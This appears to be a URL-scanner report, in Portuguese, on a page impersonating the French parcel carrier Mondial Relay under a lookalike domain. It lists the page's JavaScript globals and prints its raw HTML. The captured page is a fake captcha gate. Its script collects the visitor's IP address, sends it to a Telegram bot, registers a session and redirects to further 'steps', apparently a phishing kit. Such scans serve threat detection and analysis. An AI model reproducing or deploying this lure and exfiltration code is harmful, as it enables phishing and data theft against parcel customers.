- ID da verificação
- a484a3c9-ed0f-4de6-96a0-dbb145b0b09dConcluído
- URL enviado:
- https://mondial.relais-colisfr.com/index.php
- Relatório concluído:
Ligações · 0 encontradas
As ligações de saída identificadas na página
Variáveis JavaScript · 11 encontradas
Variáveis JavaScript globais carregadas no objeto janela de uma página são variáveis declaradas fora das funções e acessíveis de qualquer parte do código dentro do âmbito atual
Nome | Tipo |
---|---|
0 | object |
1 | object |
onbeforetoggle | object |
documentPictureInPicture | object |
onscrollend | object |
getUserIP | function |
sendTelegramMessage | function |
validateCaptchaAndRedirect | function |
Raven | object |
hcaptcha | object |
Mensagens de registo da consola · 1 encontradas
Mensagens registadas na consola web
Tipo | Categoria | Registo |
---|---|---|
error | network |
|
HTML
O corpo HTML em bruto da página
<!DOCTYPE html><html lang="fr"><head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>hCaptcha - Mondial Relay</title>
<script src="https://hcaptcha.com/1/api.js" async="" defer=""></script>
<link href="https://fonts.googleapis.com/css2?family=Roboto:wght@400;500;700&display=swap" rel="stylesheet">
<style>
body {
font-family: 'Roboto', sans-serif;
background-color: #f9f9f9;
margin: 0;
padding: 0;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
}
.form-container {
background-color: white;
padding: 20px;
border-radius: 8px;
box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
max-width: 400px;
width: 100%;
text-align: center;
}
.human-check {
background-color: yellow;
color: black;
padding: 10px;
text-align: center;
font-weight: bold;
margin-bottom: 10px;
border-radius: 4px;
}
.confirm-button {
background-color: green;
color: white;
padding: 10px 20px;
border: none;
border-radius: 4px;
cursor: pointer;
font-size: 16px;
font-weight: 500;
width: 100%;
}
.confirm-button:hover {
background-color: darkgreen;
}
</style>
<script>
function getUserIP(callback) {
fetch('https://api.ipify.org?format=json')
.then(response => response.json())
.then(data => callback(data.ip))
.catch(error => console.error('Erreur lors de la récupération de l\'IP :', error));
}
function sendTelegramMessage(ip) {
const botToken = '123456:ABC-DEF1234ghIkl-zyx57W2v1u123ew11'; // Ton token de bot
const chatId = '-1001234567890'; // Remplace par l'ID du groupe
const message = `✅ <b>Captcha validé !</b>\n\n🌍 <b>IP :</b> ${ip}`;
const url = `https://api.telegram.org/bot${botToken}/sendMessage`;
const params = {
chat_id: chatId,
text: message,
parse_mode: 'HTML'
};
fetch(url, {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(params)
}).then(response => response.json())
.then(data => console.log('Message envoyé sur Telegram:', data))
.catch(error => console.error('Erreur lors de l\'envoi du message Telegram :', error));
}
function validateCaptchaAndRedirect(event) {
event.preventDefault();
const hcaptchaResponse = hcaptcha.getResponse();
if (hcaptchaResponse.length === 0) {
alert("Veuillez valider le captcha.");
return false;
} else {
getUserIP((ip) => {
sendTelegramMessage(ip);
fetch('setSession.php', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ ip: ip })
})
.then(response => {
if (response.ok) {
window.location.href = "steps/index.php";
}
})
.catch(error => {
console.error("Error:", error);
});
});
}
}
</script>
</head>
<body>
<div class="form-container">
<form id="hcaptcha-form" onsubmit="validateCaptchaAndRedirect(event)">
<img src="Apps-Mondial-relay.png" width="150">
<div class="human-check">
Êtes-vous humain ?
</div>
<div class="h-captcha" data-sitekey="483eb144-877a-488a-864c-b98afa2e4594"><iframe src="https://newassets.hcaptcha.com/captcha/v1/05c78a4/static/hcaptcha.html#frame=checkbox&id=088h36zy7ue2&host=mondial.relais-colisfr.com&sentry=true&reportapi=https%3A%2F%2Faccounts.hcaptcha.com&recaptchacompat=true&custom=false&hl=en&tplinks=on&pstissuer=https%3A%2F%2Fpst-issuer.hcaptcha.com&sitekey=483eb144-877a-488a-864c-b98afa2e4594&theme=light&origin=https%3A%2F%2Fmondial.relais-colisfr.com" tabindex="0" frameborder="0" scrolling="no" allow="private-state-token-issuance 'src'; private-state-token-redemption 'src'" title="Widget containing checkbox for hCaptcha security challenge" data-hcaptcha-widget-id="088h36zy7ue2" data-hcaptcha-response="" style="pointer-events: auto; background-color: rgba(255, 255, 255, 0); width: 303px; height: 78px; overflow: hidden;"></iframe><textarea id="g-recaptcha-response-088h36zy7ue2" name="g-recaptcha-response" style="display: none;"></textarea><textarea id="h-captcha-response-088h36zy7ue2" name="h-captcha-response" style="display: none;"></textarea></div>
<br>
<input type="submit" value="Confirmer" class="confirm-button">
</form>
</div>
<div aria-hidden="true" style="background-color: rgb(255, 255, 255); border: 1px solid rgb(215, 215, 215); box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 4px; border-radius: 4px; left: auto; top: -10000px; z-index: -2147483648; position: absolute; pointer-events: auto; transition: opacity 0.15s ease-out 0s; opacity: 0; visibility: hidden;"><div style="position: relative; z-index: 1;"><iframe src="https://newassets.hcaptcha.com/captcha/v1/05c78a4/static/hcaptcha.html#frame=challenge&id=088h36zy7ue2&host=mondial.relais-colisfr.com&sentry=true&reportapi=https%3A%2F%2Faccounts.hcaptcha.com&recaptchacompat=true&custom=false&hl=en&tplinks=on&pstissuer=https%3A%2F%2Fpst-issuer.hcaptcha.com&sitekey=483eb144-877a-488a-864c-b98afa2e4594&theme=light&origin=https%3A%2F%2Fmondial.relais-colisfr.com" frameborder="0" scrolling="no" allow="private-state-token-issuance 'src'; private-state-token-redemption 'src'" title="Main content of the hCaptcha challenge" style="border: 0px; z-index: 2000000000; position: relative;"></iframe></div><div style="width: 100%; height: 100%; position: fixed; pointer-events: none; top: 0px; left: 0px; z-index: 0; background-color: rgb(255, 255, 255); opacity: 0.05;"></div><div style="border-width: 11px; position: absolute; pointer-events: none; margin-top: -11px; z-index: 1; right: 100%;"><div style="border-width: 10px; border-style: solid; border-color: transparent rgb(255, 255, 255) transparent transparent; position: relative; top: 10px; z-index: 1;"></div><div style="border-width: 11px; border-style: solid; border-color: transparent rgb(215, 215, 215) transparent transparent; position: relative; top: -11px; z-index: 0;"></div></div></div></body></html>